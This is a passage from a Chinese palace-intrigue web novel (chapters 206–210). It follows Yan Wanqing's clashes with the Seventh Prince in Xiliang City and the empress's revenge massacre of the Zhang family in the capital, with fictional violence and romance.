“什么问题?”萧苹风亲了亲她的耳坠。 燕晚清侧过头一下撞进他的黑眸深处,被里面的炙热吓得倒吸一口凉气。 “说啊,什么问题。”男人不耐的催促道。 燕晚清咬住下唇,水眸因为那双四处点火的手急的泪眼朦胧:“月,月事来了。” 片刻寂静后。 身后男子重重将她抱在怀中喘着粗气。 “……你真想憋死老子。” 他发泄般在她脖颈后侧吮吸出红印。 燕晚清一个不防备哼出声。 转瞬间唇瓣上就被食指堵住。 “不许哼,哼的老子心烦意乱。”他威胁道。 燕晚清眼尾微红,眼里都是晶莹,被他捂住了唇瓣,嘤嘤不敢出声。 …… 李呈媛做错了事情被萧鸿深关了两天,终于忍不住了,这天和身边的丫鬟打听到燕晚清已经出府了,萧鸿深也不在府内,她直接大摇大摆的出了门。 “不就是杀个人,京城里死那么多人,也没有半点事情,怎么一个边陲小城,死个丫鬟,还要关我好几天,简直是没有道理。” 她直奔着厨房走去,这几日吃也吃不好,全都是肉食,吃的她腻的不行,所以一出门便直接去了厨房,打算给自己好好煮一份吃食。 趁着时间还多,她又额外准备了其他的吃食,打算晚点的时候等萧鸿深回来了,用来讨好他。 俗话说抓住一个男人的心,得抓住他的胃。 李呈媛虽然是个现代人,可对于这句话是十分认可的,毕竟当初因为自己的手艺爱上自己的男人,不计其数。 准备好了讨好萧鸿深的吃食,她才松了一口气,此时外面已经夕阳西下,她擦了擦额头上的汗珠,从厨房走了出来,猝不及防对上了一众丫鬟下人的眼睛。 大概是二三十人,乌泱泱的全部堵在了厨房门口。 李呈媛被下了个半死。 脸皮都被吓白了。 二三十人也不说话,就一直站在外面等着,俨然就是为了等她出来。 李呈媛忍不住蹙眉,她没说话,往前走了两步,这群人便让开来。 她又往前走了两步,后面的人直接将她包围在了中间。 这回李呈媛恼羞成怒了:“放肆!你们这群贱奴想要干什么!城主府下人这般没有规矩的吧!” 没有人回应她的愤怒。 李呈媛被围在中间,丫鬟小厮们一个挨着挨一个,黑黢黢的双眼齐刷刷的落在了她的身上,一抬眼扫过去,那一张张灰扑扑的脸上没有半点情绪。 “滚——滚啊!”李呈媛用力冲着他们嘶吼道。 依旧是没有人应声。 这下她有些害怕的咽了咽口水。 “警告你们,别再围着本县主了!不然杀了你们!” 听到李呈媛威胁的话,或者是她语句中的那个“杀”字眼太过于刺耳,终于有个丫鬟开了口。 她目光幽幽的落在李呈媛身上。 “你杀了人,破坏了将近二十年的风水,犯了天怒,你会受到上天的惩罚。” 什么狗屁风水! 李呈媛哪里听得进去这些,她从头上拔下发簪,恶狠狠的冲着那丫鬟说道:“你们再不让开,本县主见一个杀一个!” 她见自己说完话没有人动,眼光中闪过恶意,发簪在她的手上划过,迅速在那丫鬟脸上划出一道血痕。 只听见丫鬟尖叫一声,人群迅速纷乱起来。 李呈媛冷哼一声,看着这群刚刚还把自己团团围住的人。 也不过都是血肉之躯,面对危险还是害怕自己的命的。 就这样的一群乌合之众,也敢将自己围住,想要给自己教训? 等到萧鸿深回来,她一定要让他把纪云台喊过来问话,究竟是怎么管教城主府的这群下人的,实在是吃了熊心豹子胆,太不像话了! 李呈媛得了空隙,立马仗着自己身姿灵活窜出了包围,看着那群还站在原地的一众人,她的目光隔空与那个捂着脸的丫鬟对视,血水顺着她的指缝不断的往外淌着。 不知道为何。 分明是弱者的眼神。 可是李呈媛却无端觉得自己脊背一凉。 西凉城地邪,这里的人,总是让她不安。 “县主您没事吧?”丫鬟端着盘子站在她旁边惴惴不安的问道。 李呈媛斜眼看了她一眼:“刚刚你在哪里?” “回禀郡主,奴婢刚刚在厨房里端菜呢。”丫鬟低着头回答。 “这么久?” “小菜有点多,这是第二个来回了。” 李呈媛冷哼一声,看着端盘上层层叠叠的盘子,她收回了视线超着自己的住处走去。 丫鬟见她走远,心里才松了一口气。 其实她刚刚就在旁边。 城主府自从纪云台入驻之后已经二十多年没有死过人了,每次那些蛮寇杀到城门之下,都会无端端失去方向,从而让整个西凉城躲过灾难。 可是这次,因为这个京城里来的县主。 二十多年没有破的规矩被破了。 丫鬟眼底呈现出惊涛骇浪般的恨意,却在李呈媛转过头的瞬间烟消云散。 “还站在原地干什么!” “县主莫急,奴婢这就过来了。”丫鬟端着盘子赶紧跟了上去。 …… 与此同时,遥远的京都。 京城里姓张且在朝为官的大人,被打更的发现被人灭了门。 鲜血顺着门缝流到了外面的青石板上面,吸引了几只老鼠在大门口舔舐。 这才让打更的给瞧见了。 打更的吓破了胆,硬生生的憋着回家过了一天才敢去报了官。 大理寺的谢群立刻就让人把张府给围得水泄不通。 此刻宫内。 皇后张岚依冷眼看着自己面前的宫门被缓缓合上,面上那哭的伤心欲绝的神情陡然变得冷凝了起来。 身边躺着的那个被打的浑身是血的嬷嬷,颤颤巍巍的爬到了她的跟前,然后被张岚依一脚无情的踢开。 “来福,倘若不是你跟了本宫多年,不然本宫真的以为你是皇帝的人。” 来福跪趴在地上,指尖都是鲜血。 来福心中大作,惶恐不已,她与皇后本就是一条绳子上的蚂蚱,张岚依没有翻身之日,她来福便是死路一条。 可是这件事她向来做的隐秘。 怎会就独独漏掉了一个张念呢? 生死关头,来福灵光乍现。 “娘娘,是有人提前将那张家嫡小姐给接了出去,这才漏了个活口。” 张岚依冷笑一声:“活口?呵呵……一个小小的黄毛丫头能让本宫被打入冷宫么?!背后定然是有那些老匹夫的功劳!” “娘娘再给奴婢一些时间,宫外还有些人手,奴婢一定找出那个张念——” 张岚依抬手打断了她的话,她转身朝着冷宫里面走去,步调缓慢翩跹,仿佛这里根本不是什么冷宫,依旧是她富丽堂皇的宫殿。 只听见她慢悠悠的说道。 “陛下既然未宣召将本宫打入冷宫,那本宫便一日还是这大渭的皇后。” 来福听罢深深的低下了头。 既是皇后,那冷宫便关不住她张岚依! 第二百零六章 张家灭门,昔日丑闻浮出水面 早年间那皇后娘娘不过是太医院里的一个小小医女,后来凭借着一己之力,在后宫沉浮中步步高升,最终让皇帝力排众议将她捧到了皇后的位置,其手段和心胸定然是宫中的佼佼者。 这不过这些年皇帝的身体日复一日的萎靡,朝权逐渐转移到了太子身上,张岚依无处施展,这才稍稍收敛了些。 也正应如此,朝中一些看不惯她作风的老臣便开始暗中联合抵制她,势必要在他们的皇帝驾崩之前,将这个妖后钉死在耻辱柱上。 可是现在太子和七皇子都已经远赴战场,据她所知宋化虚那个老道也暗中受了皇命跟了过去,而镇守后方的皇帝……张岚依站在床前,摩挲了一下指腹,唇角勾起一抹冷凝的笑意。 听说七皇子临走之前送过去的那批丹药,他很喜欢。 燕晚清那个小狼崽子说的没有错,这个京都,早就从内里腐烂了,根本不需要她们怎么动手,这群人就会自取灭亡。 可是,这些年她压在心底的恨呢? 那群妄图粉饰太平,逼着她父亲一一己之力背下所有罪孽的人都没死呢,她又怎么甘心安安稳稳的坐在自己的后位之上。 “岚依,你的心乱了。”身后突然传来一道柔和的嗓音。 张岚依靠在阑干上没有动。 “急功近利会让我们失去胜算,眼下晚清她不在京都,我们不能再轻举妄动了。”燕京从她身后缓缓的走了出来,依旧是那一身黄红相间的袈裟,衬托的他在残阳的光辉之下,亦正亦邪。 “现在说什么都晚了,张家人都要死绝了。”张岚依回过头看他,眼底都是快意:“马上就要轮到曹家了。” “胡闹!”燕京蹙眉上前,面上都是严肃:“你应该知道曹尚书和太后有什么关联,动了他,太后决计不会坐视不管的。” “那又如何?”张岚依回想自己当年被奶娘捂住嘴躲在床下面,看着自己的亲人一个又一个为了保护自己倒在血泊之中,她的双眼都被恨意浸润湿透。 “他已经活不了多久了,本宫又如何能够知道和燕晚清的合作能不能成功,倘若失败,那本宫的血海深仇,谁来替本宫报?”张岚依咬牙,双手攥紧:“这件事情没有商量的余地,曹尚书昨日刚刚提了告老还乡的奏折,被本宫压了下来,倘若再不行动,等到他离了京都,回了老家,届时再动手就更难了。” “你应该知道的啊……”张岚依泪眼朦胧的看向燕京:“当初父亲他究竟蒙受了怎样的屈辱,他为了保全本宫,被那狗皇帝处以极刑,生生疼死的啊!” 燕京还要说什么,张岚依伸出手捂住了他的唇。 “……你无需担心,本宫知道其中的利害关系,只是曹尚书和太后之间的关系实在是微妙,本宫已经想到了万全之策。” 燕京叹了一口气,依旧不赞同:“只是这样你的身份也就瞒不住了。” “迟早会瞒不住的。”张岚依在冷宫之内踉跄超前走了两步,哂笑道:“狗皇帝已经对本宫起了疑心,查到当年的事情也不过就是时间的问题,本宫现在是被逼上了梁山,没有办法了。” “燕京你得帮本宫,你们燕家现在的处境跟本宫来说,没有不同,这次西征,燕晚清一个女儿家担当大帅,带过去的一万大军,你我都深知那都是些什么货色,此去若是打了胜仗还好,倘若是败了……” 说到这里,张岚依猛地收声。 燕京眼中闪过一抹冷意。 只听见张岚依兀自轻笑出声,她抬起手腕用指腹擦掉了眼下的泪珠。 “当年本宫能从一介医女走到皇后,靠的就是不信命,眼下本宫已经今非昔比,又凭什么不能替自己的父亲洗刷冤屈!” 燕京张了张唇,最终还是叹了一口气:“……我会帮你的。” 听到燕京终于不再劝自己,张岚依心里松了一口气,她走到燕京的身边,将头靠在他的胸膛上,感受着衣襟下面的跳动。 “你放心,事成京都便是本宫说了算,倘若不成,本宫也决计不会连累到你,连累到燕家。” 燕京蹙眉,伸出一只手挟制住她的下巴,语气微冷:“你再说一遍。” 张岚依仰头看着他,那双异瞳闪烁着的光泽,让她第一眼便一见倾心,这才做了这么多大逆不道的事情来,可是她不悔。 “燕京,眼下你已经回到了燕家,本宫自然是——唔!” 她话还没有说完,薄唇落了下来。 燕京不耐的打断了她的话,将那些不爱听的悉数吞进了咽喉里,然后咽了下去。 过了良久,他才缓缓抬头,声音沙哑道:“早在八年前,我的这条命就是你的了,往后别再说这些我不爱听的。” 张岚依唇瓣微微红肿,眼神潋滟,她痴痴的看了他一会儿,又伸出手勾上了他的脖颈,踮起脚尖咬了上去。 “知道了。” …… 与此同时,王家。 王可人带着丫鬟,手里端着些吃食朝着院子里走去。 她眉眼间都是化不去的浓愁。 刚刚父亲跟她说了张家的事情,言语中都是对这件事的忌惮。 再加上从宫里传回来的消息,眼前的这个张念无疑是个烫手山芋。 只怪自己当时心软开了门,让张念进了门。 见王可人站在门口,丫鬟有些迟疑的开口:“小姐?” 王可人手放在门上,心乱如麻,却不得不挤出一个笑容推开门进去。 里面的张念裹着被子,哭的发髻都乱成了一团,早就不是当初那个憨态可掬的张家大小姐了。 眼下的她只是个失去父母兄弟姊妹的孤女,无依无靠。 张念听见声音,看向门口,见王可人进来,她赶紧掀开被子起来,眼泪汪汪:“可人……” 王可人见她哭得稀里哗啦,只得上前去扶着她:“念念……” “我,我以后没有父亲和母亲了……”她抽噎道。 王可人从袖口掏出帕子递过去,微微侧开身子,装作不经意躲过张念被泪水弥漫的脏兮兮的小脸,她轻柔的说道。 “祸从天降本就是没有办法的事情,眼下张家只剩下你一个人了,你有什么打算啊?” 张念用帕子擦拭掉泪水,无助的摇了摇头。 “我根本不知道是谁做的,那些人都穿着夜行衣,只看见手起刀落,手起刀落——”张念比划着,眼神里都是恐惧的神色,她用手死死捂住自己的嘴:“……倘若不是奶娘拼死护着我,我根本不可能逃出来。” 王可人听着,眼神里闪过不耐的神色,面上却依旧温柔如水。 “念念你不要害怕,眼下已经到了我们家,定然不会让你有危险的。”她耐着性子继续说道。 “只不过对方在暗我们在明,查到你在我们王家是迟早的事情,我与父亲商议了一下,今日傍晚先安排一辆马车送你到我们王家城外的庄子上,再安排几个身强体壮的打手保护你的安全,等到父亲帮你们家查明真相之后,你再回来,你觉得这样如何?” 第二百零七章 故人归,局势大乱 张念早就慌得六神无主,她一直以为王可人是心中有乾坤的,所以此刻王可人说什么,她都直接听着去做。 她上了马车之后,看着站在小门门口的王可人,一袭粉色的罗裙,面带微笑的看着自己,就好像个玉面菩萨。 “可人,你和伯父的恩情我张念没齿难忘,往后我一定会做牛做马报答你的。” 王可人伸出手抓住张念:“姐妹一场,你说这种话做什么,岂不是显得我们之间的关系生分了。” 张念眼圈一红,她重重的回握王可人,哽咽道:“可人,你记得要来接我啊。” 说者无心,听者有意,王可人心里咯噔一声,她面上闪过一丝不自然,但是很快被她掩盖下去:“我们从小一起长大的情分你还信不过,你的事情就是我王可人的事情,眼下父亲已经开始着手调查了,你放心吧,很快就将你接回京都来。” 张念感动的不知道说什么好,眼泪扑簌簌的往下掉。 王可人抽回自己的手,拍了拍马车对着车夫道:“时间不早了,快些出去吧,不然夜路不好走。” 说完她又看向张念:“你放心就是。” “嗯嗯!”张念重重的点头。 此刻马车缓缓超前驶去,张念先开车帘一直就这么看着王可人,一直到人影越来越小,她才念念不舍的放下了车帘。 门口的王可人也这么看着马车消失在了街口,才转过身去。 原本如沐春风的笑意变得冰冷起来。 “今日的事情谁都不许说,就当张家小姐从来没有出现在王家。”她冷声对着丫鬟们说道:“都听见没有!” “听见了小姐。”丫鬟们缩了缩脖子,纷纷应声道。 王可人这才松了一口气,朝着父亲的书房走过去。 此时王大人刚刚放下手中的毛笔,便看见她进来。 王可人行了礼:“父亲大人。” “嗯,事情办好了?”王大人面色沉静,胡子花白却也掩盖不了双眼精光直冒。 王可人低着头回道:“人已经送出去了。” “那就行。”王大人松了一口气,自从这张念入府,他的心里就一直压着一块石头。 别人不知道这张家是怎么灭门的,他还能不知道吗? 早在前几日,皇后娘娘突然被陛下打入冷宫的消息被送出来,他就已经知道张家灭门是谁的手笔了。 不过皇后入冷宫这件事情,对外一直都是皇后娘娘身体不适,所以陛下的意思其实挺耐人寻味的。 他这辈子没有做出什么大的政绩,靠的就是投机取巧会站队。 “这件事情往后就跟我们王家没有关系了。”王大人抬眼打量着自己的女儿,突然蹙眉说道:“听你母亲说,你最近推掉了很多媒人?” 王可人面上的血色一点一滴的褪去:“回禀父亲,女儿只是觉得媒人说的亲,不太靠谱,这才退掉的。” “是么?”王大人意味不明的说了一声。 王可人手脚开始冰凉。 她喜欢北疆小侯爷的事情,一直都是藏在心底的,父亲根本不可能知道。 果然,过了一会儿王大人又说道。 “为父知道你心比天高,只是眼下时局动荡,还是安安稳稳的找个良人嫁了比较好,这样父亲还能在有能力的时候帮你一把,以你的能力,世家大族的当家主母也是不在话下的,你可懂为父的意思?” 王可人低垂着眼眉,掩盖住眼里的思绪,那些藏在阴暗角落的小心思都被她小心翼翼的掩盖了个干干净净。 “女儿知道了,父亲大人请放心。” 王大人见她如此乖巧懂事,心满意足的点了点头,重新拿起了笔:“为父一直都只对你是个心中有数的,今日的事情办的不错,去吧。” “多谢父亲嘉奖,女儿告退。” “嗯。” 王大人重新低头书案上开始写东西,王可人便退了出去将书房的门给关好了。 就在这时,一旁等候多时的丫鬟突然凑上前来。 “小姐!北疆小侯爷要到京城了。” “当真?”王可人捏住丫鬟的手腕,语气忍不住欣喜的问道。 丫鬟点了点头:“消息千真万确,估计再有个七日,就该进京都了,届时小姐就能够见到小侯爷了。” “不许乱说话。”王可人面颊上闪过红晕。 她念及此时还在父亲书房门口,赶紧拉着自己身边的丫鬟往外面走去。 另外一边。 载着张念的马车越走越偏僻,眼看着天色越来越黑。 张念忍不住掀开车帘对着车夫喊道:“还要多久到?” 第一声车夫没有回应她。 张念扶着车厢内壁,朝着外面挪了挪,用手推了推车夫。 这一推不得了,车夫的身体竟然径直歪了下去。 张念尖叫一声,只看见车夫的胸口骤然扎着一根箭羽,伤口处的鲜血早就凝固成了黑色,而车夫的面色呈现青紫色,显然已经没气了多时。 就是说刚刚一直都是个死人在驾驶着车。 想到这里张念手脚发软,她忍不住尖叫出声。 在她的尖叫声中,车夫重重的从马车上摔了下去,在地上溅起了厚厚的粉尘。 此时失控的马已经拖拽着马车朝着悬崖峭壁疾驰而去,在那一声凄厉的惨叫声下,马和马车一起摔下了悬崖! 只在地面之上留下了两道马车印记,很快便被倾盆而下的大雨遮盖的七七八八,紧接着无迹可寻。 远方赶路的人看着遥远的京都,只得勒马停在了旁边的小客栈。 怀玉风尘仆仆的将一把长剑放在了屋中的案几上。 原本光洁的面颊上,在右上角的额头上,多了一道粉红色的疤痕,是新伤。 她换下了身上濡湿的衣服,然后点燃了油灯。 将一纸信笺铺好在案几上,拿起笔开始在上面叙述这段时间自己遭遇的事情。 没想到她紧赶慢赶的回来,还是没有能够见到燕晚清。 听着外面淅淅沥沥变得有些小的雨,怀玉叹了一口气。 战事无情,她只希望燕晚清能够在前线平安就好。 “叩叩叩。”窗外突然传来几声轻响。 怀玉警惕的将桌子上的信纸用书盖上。 “谁?” “小侯爷安好,奉我家主子之命,前来给你送个物件儿。”外面传来一道男声。 怀玉微微蹙眉:“你家主子是谁?” “安平郡主。” 听到是燕晚清派过来的人,怀玉便打开了窗户。 屋外穿着灰扑扑衣服的男子跪在了屋内,从怀中取出了一个锦囊放在了桌子上。 “郡主吩咐了,等您回到京都之后,遇到贵人之后再打开。” 怀玉挑眉:“贵人?什么贵人?” “郡主未曾仔细交代,只说等您回京之后就知道了。” 怀玉点点头,传话的自然是不会理解燕晚清每天跟打字谜一样的话术,于是她挥了挥手,传话的男子转身上了窗沿,紧接着消失在了雨幕之中。 怀玉将锦囊捏紧在掌心里。 心中按捺不住好奇,她拉开了**的绳子,取出里面的方块小纸…… 第二百零八章 纪云台被打,燕晚清踹门 西凉城城主府。 燕晚清回到城主府本来是打算辞行的,她打算直接住到军营里面去,这样方便训练军队,也更方便她凝聚军心。 回来的路上,她还想着要和纪云台商量一下后续要如何继续勾引光明教圣女格桑的事情,结果刚进门,人就被城主府上的管家给拦住了。 “燕帅您可回来了,快去救救我们城主吧,他刚被七皇子喊过去了。” 燕晚清愣了一下,她揉了揉手腕,一时之间以为自己听错了:“什么?” 管家急得不行:“七皇子派人将我们家城主连人带轮椅拖过去了。” 拖这个词用的秒,这说明纪云台过去的时候可能是十分不情愿的。 不过按照纪云台这八面玲珑的心思,应该没有多大的事情。 于是燕晚清摆了摆手:“管家放心,你们家城主没事的。” 西边天气干燥很热,她现在只想回去洗把脸。 于是她快步朝着自己的院子里走去。 管家见她走的飞快没辙,只能扭头朝着另外一边走去。 等到燕晚清洗完了脸,收拾好了行李打算和纪云台告别的时候,问了府上的丫鬟,才知道两个时辰过去了,纪云台还在萧鸿深那边。 想到刚刚管家眼神中的担忧,燕晚清心中犯起了嘀咕。 这前几日刚刚给了萧鸿深一个教训,不至于这么快又想不开吧。 她将手腕上的纱布一圈一圈的慢慢缠好,朝着那边走过去。 结果发现管家还有一众丫鬟都站在萧鸿深的院外。 他们看见燕晚清过来,就像是看见了救世主。 纷纷让开道,让燕晚清进去。 “这是怎么回事?你们家城主呢?”燕晚清额头上的发丝还有些湿润,她用手拨到了一边。 管家指了指里面。 “已经两个半时辰了,城主还没有出来,这个点晚膳还没吃上……” 院子里十分安静。 燕晚清点了点头,双手负在背后,大摇大摆的朝着门口走去。 门口两个手持武器的士兵看到燕晚清,直接将目光挪到了一边,愣是没有敢拦她。 燕晚清一路畅通的走到了门口,里面淅淅索索的能够听到人说话的声音,但不是很大,偶尔还能听见几声极度难耐的轻哼,活像是小猫挠了一下似的,听起来不是很正常。 事出反常必有妖。 抬起,对着门,就是一脚。 大门轰然坍塌,惊得坐在屋中的萧鸿深直接被滚烫的茶水泼了一身。 他指着燕晚清破口大骂:“放肆!燕晚清你现在简直是越来越无法无天了!” 燕晚清环顾屋内的场景,眉头上挑,她冷笑道。 “说句大逆不道的话,天高皇帝远,就你这样的,也配得到我的尊敬?” 屋中,纪云台的轮椅被掀翻在地,他整个人都被用绳子捆住双手掉在了房梁之上。 原本白净的衣衫上面,已经有了血痕,而且只在下面的双腿部位。 这个萧鸿深可真不是个东西。 想来那几声轻哼定是纪云台强忍疼痛发出来的。 “你虽未大渭的皇子,却也不能对西凉城城主私自动刑,此番你又是借的谁的势?!”燕晚清抬手袖口中窜出匕首,迅速划断绳子,她迅速将纪云台揽在了怀中。 纪云台虚弱的冲她扬了扬唇角:“燕帅,微臣无碍。” “闭嘴。”燕晚清冷声说道。 纪云台:“……” 一旁的萧鸿深将手中的杯盏狠狠的摔碎在地上,面上阴翳:“燕晚清,你当着要跟本皇子作对?别忘了你也是大渭的郡主,你的身份地位都是父皇赐予你的!” “所以呢?”燕晚清无畏的迎上他的目光。 “你别不知好歹。” “按照七皇子的意思,本帅应该当做此事没有发生,转身就走是吧?”燕晚清冷笑道:“妥协于权势,称你的心如你得意,这才是一个大渭郡主,是一个三军统帅应该做的事情是吗?” 萧鸿深自知自己辩驳不过眼前这个女人。 离开了京城,她就像是脱缰了的野马。 之前的条条框框再也束缚不了她了。 但是她总不能不尊敬父皇吧! 萧鸿深冷着脸:“你根本不知道发生了什么事情,上来就直接踹门,对本殿不公,这件事情本殿不与你计较,但是今日无论如何你都不能带走纪云台。” “你可知他竟然纵容手底下的丫鬟小厮,妄图加害瑶池县主!” “这简直就是岂有此理!她眼下腹中还怀着本殿的麟儿,若是出了一点差错,十个纪云台的命都不够赔的!” 三言两语的,燕晚清总算是理清楚了今日为何萧鸿深又发疯的事情。 原来是城主府的丫鬟小厮们自发的去给了李呈媛一个下马威,这才惹恼了她,让她找了萧鸿深给她出气。 所以今日纪云台才会被萧鸿深给拖过来一番折磨。 “这跟本帅带走纪云台有什么关系?”燕晚清挑眉,露出一抹嗜血的微笑:“想杀李呈媛的,本帅也算一个。” “你——!”萧鸿深根本想不到,为何燕晚清之前还好好的,自从来了西凉城之后,就对李呈媛痛下杀手。 女子之间能够有多大的仇恨? 萧鸿深心里十分的不理解。 “七皇子有功夫教训纪云台,倒不如好好管管你的瑶池,让她千万不要走出那个有阵法的院子,少作妖,安心养胎。”燕晚清将纪云台拦腰抱起,纪云台惊呼一声,被她重新放在了轮椅上面。 纪云台眼神中闪过了些许失望。 此时燕晚清看着还要出手阻拦的萧鸿深:“想清楚再动手,本帅最近脾气不太好,不然你就把你的暗卫全部招呼出来让本帅练练手,不然就滚。” 萧鸿深被气得脸色青一阵紫一阵。 最终所有的怒气被他全部按压了下去。 看着他们二人离开的背影。 他攥紧了拳头。 再让这个燕晚清狂些时日。 等到蛮寇来袭,战争打响的时候,他倒要看看这个燕晚清拿什么来跟他狂! 她纵使满腹计谋,又恢复了功力,可是她终究是个女子,是一个人! 他就不信,她能以一人抵万军—— “燕晚清啊燕晚清,让你当个菟丝花好好在京都相夫教子你不干,非要学你的父兄出来带兵打仗,自古以来,战场就是男人的,迟早你都会自取其辱。” 萧鸿深想到燕晚清被打击的那天,心中的阴霾终于被吹散了不少。 此时李呈媛从外面端着盘子走了进来。 “殿下,门怎么倒了?!”李呈媛愣住,她看着空荡荡的房间:“纪云台那个混账呢?” 第二百零九章 不妥,今非昔比 面对李呈媛突如其来的质问,萧鸿深下意识的蹙紧了眉头。 这个女人到底是怎么回事,以前还温柔小意,怎么现在就跟个神经病一样。 说完话的李呈媛也意识到自己刚刚说的话有些不妥,她赶紧露出一抹浅笑,将手中的盘子放在了案几上。 “是这样的殿下,臣女只是一时之间有些着急了,殿下莫怪,快来尝尝臣女精心准备的吃食,西凉城太热了,殿下尝尝看这个冰点草莓,这是臣女刚刚做好拿出来的,还冒着凉气呢。” 听到李呈媛这样说话,萧鸿深的脸色有了些许好转。 他走过去,接过她手中的勺子,盘子上一颗草莓挖了一勺放进了嘴里。 很甜,甜的甚至有些腻。 确实很冰。 他不喜欢吃甜的。 萧鸿深吃了一口之后便放下了。 “模样很精致,这叫什么?” 李呈媛见他感兴趣便说道:“这叫冰点草莓,工艺很复杂的,人家在厨房里忙活了一天呢。” “你辛苦了。”萧鸿深悄无声息的将勺子放在了案几之上,伸出手将李呈媛揽入怀中:“你怀有身孕,就不要这么忙碌了,等再过些时日,本殿的人到了,他们会护送你回京的。” 李呈媛一天要和萧鸿深分开,赶紧打断道:“我不走,我要和殿下在一起。” “西凉城条件险恶,跟京都完全不能比,你就算不为自己着想,也得想想肚子里的孩子。”萧鸿深加重语气:“你一直以来都很懂事,难道这回要让本殿担心吗?” 心里想的却是。 来了西凉城一路上不知道惹了多少麻烦,赶紧送回京去比较好。 李呈媛一脸感动:“殿下,此番正是殿下需要我的时候,我万万不能离开,马上就要正式开始打仗了,我要留下来帮殿下,蛮寇易除,可是燕晚清难缠啊,前几日她那般做派,我实在是担心她会趁着战事对殿下下手。” 不得不说李呈媛十分了解萧鸿深。 刚刚燕晚清目中无人的样子确实让他记恨在心,眼下又听李呈媛的分析,萧鸿深眼中闪过了杀意。 “燕家已经今非昔比了,她燕晚清不过就是为了想保住燕家的荣华才冒险上前线想要得到一番军功,可是她想错了,没了镇国公的镇国府已经是一盘散沙,轮不到她对本殿下手,本殿也会竭尽全力去对付她的。” 听到这里,李呈媛心中终于舒坦了。 原着里面,萧鸿深对于燕晚清是有一种近乎变态的执念的。 眼下这股执念终于因为自己变成了恨意和杀意。 她心里的一块大石头终于落下了。 “若是这样,我愿意留下来帮殿下一臂之力!”李呈媛羞怯的靠在他的怀中说道。 萧鸿深眼中闪过一丝阴狠。 燕晚清身上的伤肯定是还没有好全的,他必须抓住这个机会。 再说半死不活的纪云台被燕晚清推着轮椅送回了管家的怀抱,管家吓得花容失色之余也不忘给燕晚清跪拜感谢。 那边纪云台却拉着燕晚清的衣角不撒手。 “燕帅我的腿好疼啊。” 燕晚清看着他鲜血淋漓的下半身,目光看向旁边的管家:“本帅记得,城主这双腿几年前就已经失去了知觉吧。” 管家看了看自家城主,目光终于和疑惑的燕晚清对上了,他讪笑一声:“大概可能也许是……最近天气比较暖和所以恢复了些知觉吧。” “西凉城不是一直都这么炎热么?”燕晚清加了一句话。 管家:“……” 纪云台哭的梨花带雨:“微臣不知道七皇子会是那样的人,担心他待会儿还会对微臣下此毒手,不知道燕帅可还有功夫送微臣一道回去。” 燕晚清想了想,好像也有道理,心想待会儿便将自己要离开的消息一并说给纪云台知道,于是她点了点头:“那也行,本帅送你过去。” 纪云台这才松开了她的衣角。 管家赶紧推着他朝前走去。 纪云台疗伤的时候,燕晚清就坐在外屋的椅子上等着。 等到大夫终于从里屋走出来,桌子上的一壶茶也被她喝了个精光。 站起来的燕晚清忍不住打了个饱嗝,然后迎了上去。 “大夫,情况如何?” 大夫刚要说话,就被里面出来的管家往门口推。 管家对上燕晚清,他说道:“城主已经穿戴好衣服了,正在里面等燕帅呢。” 燕晚清听到纪云台在里面等她,于是抬脚朝里面走去。 这边管家从袖口掏出银子放在大夫的手里:“今日辛苦您了,快些回去吧。” 大夫垫了垫手里的银两:“都是皮外伤,今日给的银两有点多了。” “不多不多,您快些回去吧,天色不早了。”管家招呼着丫鬟,将大夫送了出去。 他这才用袖子擦了擦额头上的汗水,终于松了一口气。 屋内。 燕晚清走进内屋。 纪云台正一脸虚弱的靠在床榻上,见燕晚清进来,他抬了抬手:“燕帅,微臣给燕帅行礼。” “得了吧你。”燕晚清直接上前将他摁在了床榻上,不让他动弹。 “以前你没受伤的时候也没看见你坐在轮椅上给我行过什么礼,今个儿被萧鸿深打了一顿,难不成给你把双腿打活了,想起来要给我行礼了?” 纪云台委屈巴巴的看向她:“微臣都伤成这样了,燕帅竟然还有心情打趣微臣。” 燕晚清一脸狐疑的看着他,心想今日是不是纪云台被打了脑子,怎么说话娘们唧唧的。 “燕帅在看什么?”纪云台狐疑的摸了摸自己的脑门。 燕晚清收回视线,请了清嗓子:“咳咳,没什么,其实有件事情想要跟你说一下。” “燕帅请说。”纪云台说道。 “其实今日我是来跟你辞行的,军中事务较多,来回城主府多有不便,所以我决定以后就直接住在军营了。” 燕晚清刚说完,纪云台就直接摇头:“不妥。” “为何不妥?”燕晚清蹙眉:“我身为军中统帅,自然是应该与将士们在一起,更何况已经探查到城外有了蛮寇探查的痕迹,战事随时可能再起。” 所以她留在军中更能够稳住军心,指挥将士。 纪云台一脸认真:“燕帅你听微臣一言,你虽为统帅,但是军中环境恶劣,你再怎么坚强,也依旧是女子的身份,既然是女子,那每月定是有不便的时候,军中男儿又都是血气方刚的时候,届时只怕是不能给稳定军心了……” 燕晚清越听眉头越是蹙紧。 “你少危言耸听,本帅少时也是跟随父兄一起上阵杀敌的,也是常驻军中的。” 纪云台耐住性子,娓娓道来:“燕帅那是不过是个毛头孩子,可是眼下……”他的视线落在燕晚清的身上。 燕晚清狠狠的瞪了他一眼:“再看挖了你的眼睛。” 纪云台摸了摸自己的鼻子:“今非昔比啊。” 好一个今非昔比! 第二百一十章 死而复生,越来越扑朔迷离 燕晚清因为纪云台的一通说辞,陷入了自我怀疑之中。 纪云台叹了一口气:“燕帅这是美而不自知,你打马从西凉城而过的时候,城里的少男们哪个目光不落在你身上?你就这么确定你京都的男儿们不会被你的美色迷惑?” “放肆了纪云台。”燕晚清用眼瞪他:“越说越没边。” “微臣说的都是事实,倘若你真的住在了军营里面,燕帅和将士们都不会有一天好觉睡,届时如何去面对那些穷凶极恶的倭寇啊。”纪云台说的口干舌燥,示意燕晚清将旁边桌子上的水递过来给他。 燕晚清抿着唇,当了回工具人。 “燕帅可不能大意啊,这古往今来女子……” 燕晚清抬手打断:“行了。” 纪云台见好就收,端起水杯就开始喝水。 “今日村民们送过来不少新鲜的水果,待会儿让丫鬟们送燕帅院子里面去,等到明日属下的伤好了些,还想和燕帅聊一聊那光明教圣女的进度。” 燕晚清:“嗯。” 她已经打消了住在军营的念头了,宁可信其有,不可信其无。 任何对于战争不利的事情,她都要谨慎对待,再三去考虑清楚。 管家进来的时候,就看见自家城主捧着一个茶杯,爱不释手的摸着,那模样那神情,看的他一把老骨头很是难受。 “主人,大夫已经送出去了。” 纪云台收回心神,点了点头:“这件事情你做得很好,不愧是跟了我这么多年的老人,眼力劲这一块整个府上都比不上你的。” “主人这说的是什么话,老奴平日里做的就是伺候主人的事情,自然是要遵循主人心意办事。”管家说着,面善又有些游移不定,他摩挲了一下手。 